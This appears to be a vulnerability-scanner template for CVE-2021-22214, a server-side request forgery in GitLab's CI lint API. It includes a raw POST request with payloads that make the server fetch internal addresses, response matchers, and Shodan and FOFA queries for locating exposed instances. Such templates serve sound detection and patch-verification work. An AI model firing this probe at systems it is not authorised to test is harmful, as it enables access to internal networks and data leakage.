Gitlab CE/EE 10.5 - Server-Side Request Forgery

id: CVE-2021-22214

info:
  name: Gitlab CE/EE 10.5 - Server-Side Request Forgery
  author: Suman_Kar,GitLab Red Team
  severity: high
  description: |
    GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
    - CVE-2021-39935
    - CVE-2021-22214
    - CVE-2021-22175
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the system.
  remediation: |
    Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22214
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39935
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22175
    - https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
    - https://docs.gitlab.com/ee/api/lint.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-22214
    cwe-id: CWE-918
    epss-score: 0.27806
    epss-percentile: 0.97853
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query:
      - http.title:"GitLab"
      - cpe:"cpe:2.3:a:gitlab:gitlab"
      - http.title:"gitlab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve2021,cve,gitlab,ssrf,vkev,vuln

http:
  - raw:
      - |
        POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {{body}}

    payloads:
      body:
        - '{"content":"include:\n  remote: http://127.0.0.1/test.yml"}'
        - '{"content": "include:\n  remote: http://127.0.0.1:9100/test.yml"}'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'does not have valid YAML syntax!'

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
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